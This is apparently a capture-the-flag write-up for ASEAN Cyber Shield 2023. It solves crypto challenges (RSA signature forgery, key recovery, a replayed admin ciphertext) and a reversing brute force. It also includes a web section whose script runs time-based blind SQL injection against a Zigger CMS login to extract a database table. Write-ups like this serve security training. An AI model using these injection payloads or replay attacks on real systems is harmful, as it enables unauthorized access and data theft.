---
# System prepended metadata

title: 'Asean Cyber Shield 2023 [QUALS and FINALS]'

---

# Asean Cyber Shield 2023 [QUALS and FINALS]
## Crypto [QUALS]
### Common RSA
```python=
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from math import gcd

FLAG = b"ACS{?????????????????????????}"

class RSA:
    def __init__(self):
        self.p = getPrime(512)
        self.q = getPrime(512)
        self.n = self.p * self.q
        self.e1 = 0x10001
        self.e2 = 0x10003
        assert gcd(self.e1, self.e2) == 1
        assert gcd(self.e1, self.n) == 1
        assert gcd(self.e2, self.n) == 1

    def getPubKeys(self):
        return (self.n, self.e1, self.e2)
    
    def encrypt(self, m):
        c1 = pow(m, self.e1, self.n)
        c2 = pow(m, self.e2, self.n)
        return (c1, c2)


rsa = RSA()

with open("pubkey.txt", "w") as f:
    n, e1, e2 = rsa.getPubKeys()
    f.write(f"{n}\n{e1}\n{e2}")

with open("ciphertexts.txt", "w") as f:
    c1, c2 = rsa.encrypt(bytes_to_long(FLAG))
    f.write(f"{c1}\n{c2}")

```
Given encryption scheme using RSA with 2 public $e1,e2$ that different. We know that $GCD(e1,e2) = 1$. And the different of $e2-e1 = 2$. This make some big problem leak information because we can find value of $Flag^2{\space}mod{\space}n$. The equation will be:
$$c1 = FLAG^{e1}$$$$c2 = FLAG^{e2}$$$$c2*c1^{-1} = FLAG^{e2-e1}$$$$FLAG^2 = c2*c1^{-1}$$
After getting $Flag^2$ we can find Flag just by doing sqrt mod n.
```python=
# solve.py
n = 151798642388037113811018958378137657993685455092850485442724380210449494948562438065241908373291003685092926779637963083491947591391619159652536147585036478723106569585124608391555798600577254245525732726133681780079153907891780299613770958387636919554574630254513742339024791779116952012938914178224296934261
e1 = 65537
e2 = 65539
c1 = 40484623901517443842786804306601874705216188257476641363163578348313167667314310386439419244904208320474107578625891334229529224715453792063593337575199350360650393467907278647049603351554639747016586375696746048862463118801429553166415564259339791238174259896483216977551264690637064291502469764455467816589
c2 = 26131442629994944883900141949959213729145024562514820488916932281022059266942054301226880998947378728223904070577555789927258181532633960472403688927536854859678562682055711090184399417354439263000793722252217506219821660195382053062963329694305123441806357529072885559760741511331691023685888498101475282910

import gmpy2
from Crypto.Util.number import *


m2 = (c2*inverse(c1, n))%n
flag = gmpy2.iroot(m2,2)[0]
# print(tonelli(m2, n))
print(long_to_bytes(flag))
```
### Fibo Crypt
```python=
# chall.py
from hashlib import sha512
from os import urandom

FLAG = b"ACS{??????????????????????????????????}"

def fib(k):
    if k == 0:
        return 0
    if k == 1:
        return 1
    return fib(k - 1) + fib(k - 2)

def gen_key(k):
    n = fib(k)
    h = sha512(str(n).encode()).digest()
    return h

def pad(m):
    return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])

def unpad(m):
    return m[:len(FLAG)]

def encrypt(m, key):
    m = pad(m)
    c = bytes([a ^ b for a, b in zip(m, key)])
    return c

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
    
k = 0xC0FFEE
key = gen_key(k)
ct = encrypt(FLAG, key)
with open("output2.txt", "w") as f:
    f.write(ct.hex())
    
pt = decrypt(ct, key)
assert pt == FLAG
```
Our goal is to guest big number in fibonacci number. My plan is solve fibonacci number with matrix exponential to decrease the time complexity and it works.
```python=
# solve.py
from hashlib import sha512
from os import urandom

FLAG = b"ACS{??????????????????????????????????}"

def fib(n):
    F = [[1, 1],
         [1, 0]]
    if (n == 0):
        return 0
    power(F, n - 1)
    return F[0][0]
 
def multiply(F, M):
    x = (F[0][0] * M[0][0] +
         F[0][1] * M[1][0])
    y = (F[0][0] * M[0][1] +
         F[0][1] * M[1][1])
    z = (F[1][0] * M[0][0] +
         F[1][1] * M[1][0])
    w = (F[1][0] * M[0][1] +
         F[1][1] * M[1][1])
    F[0][0] = x
    F[0][1] = y
    F[1][0] = z
    F[1][1] = w
 
def power(F, n):
    if(n == 0 or n == 1):
        return
    M = [[1, 1],
         [1, 0]]
    power(F, n // 2)
    multiply(F, F)
    if (n % 2 != 0):
        multiply(F, M)


def gen_key(k):
    n = fib(k)
    h = sha512(str(n).encode()).digest()
    return h

def pad(m):
    return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])

def unpad(m):
    return m[:len(FLAG)]

def encrypt(m, key):
    m = pad(m)
    c = bytes([a ^ b for a, b in zip(m, key)])
    return c

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
    
k = 0xC0FFEE
key = gen_key(k)
ct = bytes.fromhex('319a512c71a76716ecb1f6c102454d31fbeca8aca768a0f9c33bcc63a050eedc47b8d87a4332738bf3f9b888b8086ffe')
    
pt = decrypt(ct, key)
print(pt)
# assert pt == FLAG

```
> ACS{L34rn1ng_F4st_F1b0n4cc1_41g0r1thm5}

### Homo RSA
```python=
# server.py
#!/bin/env python3
from Crypto.Util.number import getPrime
from math import gcd

ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
FLAG = b"ACS{??????????????????????????????????????}"

class RSA:
    def __init__(self):
        self.p = getPrime(512)
        self.q = getPrime(512)
        self.n = self.p * self.q
        self.e = 0x10001
        assert gcd(self.e, self.n) == 1
        self.phi = (self.p - 1) * (self.q - 1)
        assert gcd(self.e, self.phi) == 1
        self.d = pow(self.e, -1, self.phi)

    def getPubKeys(self):
        return (self.n, self.e)

    def sign(self, m: bytes):
        return pow(int(m.hex(), 16), self.d, self.n)

    def verify(self, s: bytes):
        return pow(int(s.hex(), 16), self.e, self.n) == int(ADMIN_MSG.hex(), 16)

def welcome():
    welcome_msg = """
        ██╗░░██╗░█████╗░███╗░░░███╗░█████╗░██████╗░░██████╗░█████╗░
        ██║░░██║██╔══██╗████╗░████║██╔══██╗██╔══██╗██╔════╝██╔══██╗
        ███████║██║░░██║██╔████╔██║██║░░██║██████╔╝╚█████╗░███████║
        ██╔══██║██║░░██║██║╚██╔╝██║██║░░██║██╔══██╗░╚═══██╗██╔══██║
        ██║░░██║╚█████╔╝██║░╚═╝░██║╚█████╔╝██║░░██║██████╔╝██║░░██║
        ╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝
        """
    print(welcome_msg)

def menu():
    print("[1] Sign")
    print("[2] Verify")
    print("[3] Exit")


welcome()

rsa = RSA()
n, e = rsa.getPubKeys()
print("[+] Public Modulus: ", hex(n))
print("[+] Public Exponent: ", hex(e))
print('-'*64)

while True:
    menu()
    try:
        option = int(input("> "))
        if option == 1:
            try:
                message = bytes.fromhex(input("message(hex)> "))
                if message == ADMIN_MSG:
                    print("[-] Signing admin's message is not allowed! ╯(‵□′)╯︵┻━┻")
                else:
                    print("[+] Signature: ", hex(rsa.sign(message)))
            except:
                print("[-] Invalid message! ╰（‵□′）╯")
                
        if option == 2:
            try:
                signature = bytes.fromhex(input("signature(hex)> "))
                verified = rsa.verify(signature)
                if verified:
                    print("[+] Welcome! You deserve this: : ", FLAG)
                    break
                else:
                    print("[+] Verified: ", verified)
            except:
                print("[-] Invalid signature! ╰（‵□′）╯")

        if option == 3:
            print("[+] Bye! o(≧▽≦)/~")
            break
    except:
        print("[-] Invalid option! ╰（‵□′）╯")
    

```
After reading the source code i know is the service is vulnerable with Homomorphic Attacks on RSA. Then i just implemented it using junk is $newSign = Sign * 2$ and it works.
```python=
# solve.py
from pwn import  *
import sys
from Crypto.Util.number import *

# io = remote(sys.argv[1],sys.argv[2])
io = process("./chal.py")

ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
am = bytes_to_long(ADMIN_MSG)

# io.interactive()
io.recvuntil(b'Modulus: ')
n = int(io.recvline().decode().strip(),16)
io.recvuntil(b'Exponent: ')
e = int(io.recvline().decode().strip(),16)

io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b')> ')
io.sendline(b'02')
# io.interactive()
io.recvuntil(b'Signature: ')
s1 = int(io.recvline().decode().strip(),16)

io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b')> ')
io.sendline(hex(am*2).encode()[2:])
# print(hex(am*2).encode())
io.recvuntil(b'Signature: ')
s2 = int(io.recvline().decode().strip(),16)

idua = inverse(s1, n)
md = (idua*s2)%n

io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b')> ')
io.sendline(hex(md).encode()[2:])
flag = io.recvline()
print(flag)
```
> ACS{th3_SeC0nD_1s_t0_rEpe4t_7he_5amE_tH1n6}

## Crypto [FINALS]
### Fibo Crypt2
```python=
from hashlib import sha512
from os import urandom

FLAG = b"ACS{????????????????????????????????????????????????????}"

def fib(k):
    if k == 0:
        return 0
    if k == 1:
        return 1
    return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2)

def gen_key(k):
    n = fib(k)
    h = sha512(str(n).encode()).digest()
    return h

def pad(m):
    return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])

def unpad(m):
    return m[:len(FLAG)]

def encrypt(m, key):
    m = pad(m)
    c = bytes([a ^ b for a, b in zip(m, key)])
    return c

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
    
k = 0xC0FFEE
key = gen_key(k)
ct = encrypt(FLAG, key)
with open("output.txt", "w") as f:
    f.write(ct.hex())
    
pt = decrypt(ct, key)
assert pt == FLAG
```
This problem just to guest big Modified Fibonacci number. The equation of Fibonacci is:
$$F(n)=a*F(n-1)+b*F(n-2)$$$$a=0xCA11$$$$b=0xCAFE$$.
From this [link](https://discuss.codechef.com/t/calculate-f-n-a-f-n-1-b-f-n-2-matrix-exponentiation/4971) i just need to change the matrix value from FiboCrypt problem to solve it. And also to control big number on python i use gmpy2.mpz function.
```python=
import gmpy2

def fibs(n):
    F = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)],
         [gmpy2.mpz(1), gmpy2.mpz(0)]]
    if (n == 0):
        return 0
    power(F, n - 1)
    return F[0][0]
 
def multiply(F, M):
    x = (F[0][0] * M[0][0] +
         F[0][1] * M[1][0])
    y = (F[0][0] * M[0][1] +
         F[0][1] * M[1][1])
    z = (F[1][0] * M[0][0] +
         F[1][1] * M[1][0])
    w = (F[1][0] * M[0][1] +
         F[1][1] * M[1][1])
    F[0][0] = gmpy2.mpz(x)
    F[0][1] = gmpy2.mpz(y)
    F[1][0] = gmpy2.mpz(z)
    F[1][1] = gmpy2.mpz(w)
 
def power(F, n):
    if(n == 0 or n == 1):
        return
    M = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)],
         [gmpy2.mpz(1), gmpy2.mpz(0)]]
    power(F, n // 2)
    multiply(F, F)
    if (n % 2 != 0):
        multiply(F, M)

def fib(k):
    if k == 0:
        return 0
    if k == 1:
        return 1
    return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2)

from hashlib import sha512
FLAG = b"ACS{????????????????????????????????????????????????????}"

print(fib(6))
print(fibs(6))

def gen_key(k):
    n = fibs(k)
    h = sha512(str(n).encode()).digest()
    return h

# def pad(m):
#     return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))])

def unpad(m):
    return m[:len(FLAG)]

# def encrypt(m, key):
#     m = pad(m)
#     c = bytes([a ^ b for a, b in zip(m, key)])
#     return c

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
    
k = 0xC0FFEE
key = gen_key(k)
ct = bytes.fromhex('49416260b622d2f72c26599df7a49bff5f048e5f29f1a30a79c8be8eb21cb9e2793e87e8ab9edbc84d6547e5172fc6f7fd23afd38d09675067be908879b53a05')
    
pt = decrypt(ct, key)
print(pt)
# assert pt == FLAG
```
![ss](https://hackmd.io/_uploads/S1VnGXkSa.jpg)
> ACS{S0lv1ng_l1ne4r_r3curr3nc3_relat1on_1s_4ll_ab0ut_m4th}

### ecRSA
```python=
# ecrsa.py
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from math import prod

class RSA:
    def __init__(self, size):
        # Check size is power of two or not
        if not ((size & (size-1) == 0) and size != 0):
            return False

        self.p = self.getSPrime(size // 2)
        self.q = self.getSPrime(size // 2)
        self.n = self.p * self.q
        self.e = 65537
        self.d = pow(self.e, -1, (self.p-1)*(self.q-1))

    def getSPrime(self, size, s=16):
        while True:
            p = 2 * prod([getPrime(s) for _ in range(size//s)]) + 1
            if isPrime(p):
                break
        return p

    def encrypt(self, m: int):
        return pow(m, self.e, self.n)        

class EC:
    def __init__(self, p, a, b):
        self.p = p
        self.a = a
        self.b = b

    def __call__(self, x, y):
        return Point(x, y, self)

    def __repr__(self):
        return f"Elliptic Curve defined by y^2 = x^3 + {self.a}*x + {self.b} over Finite Field of size {self.p}"

class Point:
    def __init__(self, x, y, ec=None):
        # Check whether a point is on curve
        # if ec:
        #     assert (y**2 % ec.p) == (x**3 + ec.a*x + ec.b) % ec.p
        self.x = x
        self.y = y
        self.ec = ec

    def __add__(P, Q):
        if P == 0:
            return Q
        if Q == 0:
            return P
    ...
#         basic point source code

...
rsa = RSA(512)

p = rsa.p
a = !!![--REDACTED--]!!!
b = !!![--REDACTED--]!!!
E = EC(p, a, b)

gx = !!![--REDACTED--]!!!
gy = !!![--REDACTED--]!!!
G = E(gx, gy)

P = rsa.d * G

with open("flag", "rb") as f:
    FLAG = f.read()

ciphertext = rsa.encrypt(bytes_to_long(FLAG))

with open("pubkey.txt", "w") as f:
    f.write(f"n = {rsa.n}\ne = {rsa.e}\n")
```
```python=
# app.py
from ecrsa import *
from flask import Flask, request, render_template, jsonify, abort
app = Flask(__name__)

status = 0

@app.route('/')
@app.route("/index", methods=["GET"])
def index():
    return render_template("index.html", points=[G, 2*G, 3*G, 4*G, 5*G, 6*G])

@app.route("/travel", methods=["POST"])
def travel():
    global status

    try:
        x = int(request.form["x"])
        y = int(request.form["y"])
    except:
        return jsonify({"message": "Only decimal numbers are allowed"})
    
    if (x == P.x) and (y == P.y):
        status = 1
    
    return render_template("travel.html", status=status)

@app.route("/star", methods=["GET"])
def landing():
    global status

    if status:
        status = 0
        return render_template("star.html", ct=hex(ciphertext)[2:])
    
    abort(401)
    

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=30002, debug=False)

```
From the challenge we can getting public value about $\{{G1, G2, G3, ..., G6\}}$. Because modulus of elliptic curve $p$ also using in RSA as private key we just want to recover public value of Elliptic Curve. Then, another purpose is to searching the Ciphertext and it need $P$ Point value. To get $P$ value we need also for $d$ and $p$.

$$2*G1=G2$$$$2*G2=G4$$$$2*G3=G6$$

From those, we can recover modulus $p$ on Elliptic Curve.\
$$R = P+P$$$$(R.y+P.y)*2*y1 = (3*P.x^2 + a)*(x1 - x3){\space}mod{\space}p$$$$(R.y+P.y)*2*y1-(3*P.x^2)*(x1 - x3)= a*(x1 - x3){\space}mod{\space}p$$
When we subtitute point $G$ into $R$ and $P$ we can eliminate the equation to get the value that make $K = 0{\space}mod{\space}p$. And then $p=GCD(K,n)$. After getting $p$ we can recover $a$ value and getting $ciphertext$ by calculating $P$ points.
```python=
# solver.py
import math
import requests
from ecrsa_mod import EC, Point
from Crypto.Util.number import *

url = "http://192.168.0.52:30002/"

resp = requests.get(url)
# print(resp.text)
rdata = resp.text.split(';" onclick="showCoord(this)">')[1:-1]
datas = []
for i in rdata:
    sig = i.split('value="')[1:]
    pnt = []
    for j in sig:
        temp = int(j.split('" readonly')[0])
        pnt.append(temp)
    datas.append(pnt)
print(len(datas),"datas")
# exit(1)
G = datas[0]

# yr*2yp = (3xp^2+a)(xp – xr) – yp mod p
# x1, y1 = P.x, P.y
#         x2, y2 = Q.x, Q.y
#         ec = P.ec
#         p = ec.p

#         if (x1 == x2) and (y1 == -y2 % p):
#             return 0

#         if (x1 == x2) and (y1 == y2):
#             ld = (3*x1**2 + ec.a) * pow(2 * y1, -1, p) % p
#         else:
#             ld = (y2 - y1) * pow(x2 - x1, -1, p) % p

#         x3 = (ld ** 2 - x1 - x2) % p
#         y3 = (ld * (x1 - x3) - y1) % p

def calc(pp,rr):
    xp, yp = pp
    xr, yr = rr
    a = (xp-xr)
    b = (yr+yp)*2*yp - (3*xp**2*(xp-xr))
    return a, b

a1_12, b2_12 = calc(datas[0], datas[1])
a1_24, b2_24 = calc(datas[1], datas[3])
# a1_36, b2_36 = calc(datas[2], datas[5])

dua_1 = b2_24*-a1_12
dua_2 = b2_12*-a1_24
print(dua_1-dua_2)

n = 5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981
p = math.gcd(dua_1-dua_2,5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981)
q = n//p
phi = (p-1)*(q-1)
e = 65537
d = pow(e,-1,phi)

# recovery a value
a = a1_12%p
b = b2_12%p
a = (inverse(a, p)*b)%p

ecs = EC(p,a,27)
print("generate ecs is validd")
G = ecs(G[0], G[1])
P = d*G

print(P.x, P.y)
ct = int("b4912ba504140be5f762b0445b45c349f54724f5c9e23a781b74e835afd1cd8ce465d0ca19fb9bfb89acffce586f5ccf44a8902b183649f6038b1fb1d8214",16)
# resp = requests.get(url+"/star")
# print(resp.text)

flag = long_to_bytes(pow(ct, d, n))
print(flag)
```
![s1](https://hackmd.io/_uploads/S1OVreA46.jpg)
![s2](https://hackmd.io/_uploads/SJOVreAEa.jpg)
![flag](https://hackmd.io/_uploads/SkuNrg04p.jpg)

> ACS{D1v1ng_iNt0_tH3_d33P_cRypt0_g41Axy}

### bbRSA
```python=
# server.py
@app.route("/login", methods=["POST"])
def login():
    global isLoggedIn

    data = request.json
    userid = data.get("id")
    userpw = data.get("pw")

    if userid == "admin":
        try:
            userpw = int(userpw, 16)
        except:
            return jsonify({"status": "error", "message": "Password must be in hexadecimal format"})
        
        userpw = oracle.decrypt(userpw)
        userpw = userpw.to_bytes(size//8, "big")
        if oracle.pkcs1pad2_verify(userpw):
            if oracle.pkcs1unpad2(userpw) == PASS.encode():
                isLoggedIn = True
                app.logger.info(f"LOGIN_OK:{request.remote_addr} - - {data}")
                return jsonify({"status": "success", "message": "Login success"})
            else:
                return jsonify({"status": "error", "message": "Wrong password"})
        else:
            return jsonify({"status": "error", "message": "Padding is incorrect"})
    else:
        return jsonify({"status": "error", "message": "User not found"})

@app.route("/home")
def home():
    global isLoggedIn

    if isLoggedIn:
        isLoggedIn = False  # prevent permanent access on home
        return render_template("home.html", FLAG=FLAG)
    abort(401)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=30001, debug=False)

```
```python=
# rsa.py
from Crypto.Util.number import getPrime
from os import urandom

class RSA:
    def __init__(self, size: int):
        # Check size is power of two or not
        if not ((size & (size-1) == 0) and size != 0):
            return False

        self.k = size // 8
        self.p = getPrime(size // 2)
        self.q = getPrime(size // 2)
        self.n = self.p * self.q
        self.e = 0x10001
        self.d = pow(self.e, -1, (self.p - 1) * (self.q - 1))
    
    def getPublicKeys(self):
        return (self.n, self.e)
    
    def encrypt(self, m: int):
        return pow(m, self.e, self.n)
    
    def decrypt(self, c: int):
        return pow(c, self.d, self.n)
        
    def pkcs1pad2(self, message: bytes):
        return b"\x00\x02" + urandom(self.k - 3 - len(message)) + b"\x00" + message
    
    def pkcs1unpad2(self, padded: bytes):
        return padded[padded.index(b"\x00", 2) + 1:]

    def pkcs1pad2_verify(self, padded: bytes):
        if padded[0:2] != b"\x00\x02":
            return False
        
        try:
            padded.index(b"\x00", 2)
        except:
            return False

        return True

```
Getting some service login and our objective is just login and getting the flag. If I look again in more detail on server.py the variable isLoggedIn is the control variable to getting the flag, just send to server the encrypted $ciphertext$ and getting back from server once. And also the ciphertext can getout from the $log$ file.
```log=
[16/Oct/2023 13:28:09]:INFO:LOG_TEST:127.0.0.1 - - {'id': 'admin', 'pw': '5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea'}
```
Then i got the flag after send $ciphertext$ server.
```python=
# send.py
import requests
# from rsa import RSA

ct = "5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea"
url = "http://192.168.0.52:30001/index"

resp = requests.post("http://192.168.0.52:30001/login", json={"id":"admin","pw":ct})
print(resp.text)
```
![s1](https://hackmd.io/_uploads/H1QYxmkB6.jpg)
![ss](https://hackmd.io/_uploads/HkmteQJrT.jpg)
> ACS{BLEICHENBACHER'S_PKCS#1_RSA_PADDING_ORACLE_ATTACK}
## Reverse [FINALS]
### BabyRev
![b1](https://hackmd.io/_uploads/HJFy4XJrT.jpg)
After the decompiler i got one big function to reverse. This just kind of calls another function that is so simple like an operator (“+”,”-”,”^”, and another equation). We can know from decompiler function like sub_401388, sub_4013A6, and else. Then after it to checking the flag there was function to compare every 4 char with main function sub_401478. My plan is to bruteforce every 4 charackter and compare with every result that save on data. I choose use c++ to decrease time used.
![b2](https://hackmd.io/_uploads/S1wZNQJST.jpg)
Then I want to convert those functions to C++ then try to brute force every four characters from the function.
```cpp=
// solver.cpp
#include<iostream>
#include<cstdlib>

using namespace std;

unsigned long _byteswap_ulong(unsigned long x) {
    return ((x >> 24) & 0x000000FF) |  // Move the first byte to the last
           ((x >>  8) & 0x0000FF00) |  // Move the second byte to the third
           ((x <<  8) & 0x00FF0000) |  // Move the third byte to the second
           ((x << 24) & 0xFF000000);   // Move the last byte to the first
}

int64_t sub_40131C(int a1,int a2){
    return (unsigned int)(a1 - a2);
}
int64_t sub_401375(unsigned int a1, int a2){
  return a2 ^ a1;
}

int64_t sub_40138B(unsigned int a1){
    return _byteswap_ulong(a1);
}
int64_t sub_401304(int a1, int a2)
{
  return (unsigned int)(a1 + a2);
}

int64_t sub_4013A6(int a1, int a2)
{
  return 6 * a1
       + a2
       + (a2 ^ a1)
       + 4 * ~(a2 | a1)
       + 4 * (a2 & ~a1)
       - (a2 ^ a1)
       - (a2 | a1)
       - (a1 | ~a2)
       + 5 * ~a2
       - (a2 ^ a1)
       - (a2 | a1)
       - 2 * ~a1
       - 4 * ~(a2 | a1)
       - 4 * (a1 & ~a2)
       + 3 * (a2 & (unsigned int)~a1)
       + 2;
}

int byte_40F0C0[] = {
    0xB0, 0xBF, 0x5D, 0x21, 0xB3, 0x22, 0xEF, 0xAF, 0x27, 0x65,
    0x93, 0x41, 0x73, 0x86, 0x3E, 0x60, 0x98, 0xCF, 0x37, 0xDD,
    0xD1, 0x82, 0xD7, 0x78, 0x36, 0xA5, 0xB7, 0x45, 0xE6, 0x23,
    0x4D, 0xC8, 0x7B, 0x46, 0x97, 0x95, 0xF5, 0x35, 0xAB, 0x2B,
    0xFD, 0x05, 0x4C, 0xD9, 0x89, 0x72, 0x2D, 0x9E, 0xBC, 0x2E,
    0x3D, 0x4A, 0x7D, 0x05, 0x44, 0xBB, 0xC8, 0xD5, 0xC1, 0x2A,
    0x64, 0xE9, 0x90, 0x41, 0x16, 0x7E, 0x2A, 0x8B, 0x9B, 0xA0,
    0xB8, 0x51, 0xD2, 0x73, 0xFA, 0xD9, 0x73, 0xD9, 0xFF, 0x94,
    0x0D, 0x51, 0x3B, 0xC7, 0x35, 0xBD, 0x85, 0x7F};

int64_t sub_40147B(unsigned int a1, int a2)
{
  unsigned int v2; // eax
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v5; // eax
  ...
  // just decompile the binary to get full function
  // 4500++ line
  ...
      v2602 = sub_401375(v2601, 1402488867LL);
      v2603 = sub_40138B(v2602);
      v2604 = sub_401304(v2603, 3342811139LL);
      v2605 = sub_40138B(v2604);
      v2627 = sub_401375(v2605, 3065989656LL);
      for ( i12 = 3; ; --i12 )
      {
        if ( i12 < 0 )
          goto LABEL_133;
        if ( (unsigned int8_t)(v2627 >> (8 * i12)) != byte_40F0C0[4 * a2 - i12 + 3] )
          break;
      }
      result = 0LL;
      break;
    default:
LABEL_133:
      result = 1LL;
      break;
  }
  return result;
}

int main(){
    string printer = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
    cout<<printer.length()<<endl;
    string flag = "";
    for(int runtime=0;runtime<22;runtime++){
    cout<<"SEARCHINGFLAG on: "<<runtime<<" index."<<endl;
    int ind = 1;
    for(int i=0;i<101;i++){
        for(int j=0;j<101;j++){
            for(int k=0;k<101;k++){
                for(int l=0;l<101;l++){
                    int a1=(int)(printer[i]);
                    int a2=(int)(printer[j]);
                    int a3=(int)(printer[k]);
                    int a4=(int)(printer[l]);
                    if(ind%20000000==0) cout<<ind<<endl;
                    int temp = (a1<<24) | (a2<<16) | (a3<<8) | (a4);
                    // v14 = (*((char *)buf + 4 * i + 2) << 8) | (*((char *)buf + 4 * i + 1) << 16) | (*((char *)buf + 4 * i) << 24) | *((char *)buf + ((4 * i) | 3));
                    if(sub_40147B(temp, runtime)!=0){
                        cout<<"KETEMU"<<endl;
                        cout<<i<<" "<<j<<" "<<k<<" "<<l<<endl;
                        flag+=printer[i];
                        flag+=printer[j];
                        flag+=printer[k];
                        flag+=printer[l];
                    }
                    ind+=1;
                }
            }
        }
    }
    cout<<"FLAG: "<<flag<<endl;
    }
    return 0;
}
```
![ss2](https://hackmd.io/_uploads/B1aWNXkBp.jpg)
> ACS{V2l0aCBncmVhdCBwb3dlciBjb21lcyBncmVhdCByZXNwb25zaWJpbGl0eS4gLSBTcGlkZXItbWFuIGZpbG1zCg==}
## Web [FINALS]
### Zigger Zagger
We getting some web application (A Zigger Web CMS from Korea).
A Zigger Web CMS that has a vulnerability.
After we analyzing the page and source code, we found that the login page have a sql vulnerability.
![w1](https://hackmd.io/_uploads/S1aKPXkB6.jpg)
at first we try bypass the login but failed, and then we tried in Ghauri (Tools For SQL)
![w2](https://hackmd.io/_uploads/SkpYw7JB6.jpg)
Ghauri found the technique which is TIME - BASED, so we Tried to retrieve the flag from the database with TIME-BASED Blind SQL. But there is a limit in the password parameter which is 50. So we try to craft short payload and i get the payload.
```python=
payload = '\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\''
```
I known the table because we get file flag.sql
```sql=
use zigger;
create table flag (flag varchar(40));
insert into flag values ('ACS{fakeflag}');
```
```python=
# solve.py
import requests
import string

url = 'http://192.168.0.52:22030/sign/signin-submit?rewritetype=submit'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
    'Accept': 'text/html, */*; q=0.01',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Referer': 'http://192.168.0.52:22030/sign/signin?redirect=%2F'
}

import time
flag = []
for ind in range(1, 21):
    mb = []
    for a in string.printable:
        tt = time.time()
        payload = 'id=admin&pwd=\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\''
        response = requests.post(url, headers=headers, data=payload)
        resp = time.time()-tt
        # print(resp)
        if(int(resp)>0):
            mb.append(a)
            # print(flag)
            # break
    # break
    print(mb)
    flag.append(mb)

print(response.text)

# use zigger;
# create table flag (flag varchar(40));
# insert into flag values ('ACS{fakeflag}');
print(len(payload.split("pwd=")[1]))
```
![w3](https://hackmd.io/_uploads/SypKDmJH6.jpg)
> ACS{ziggersqligoodverygood}
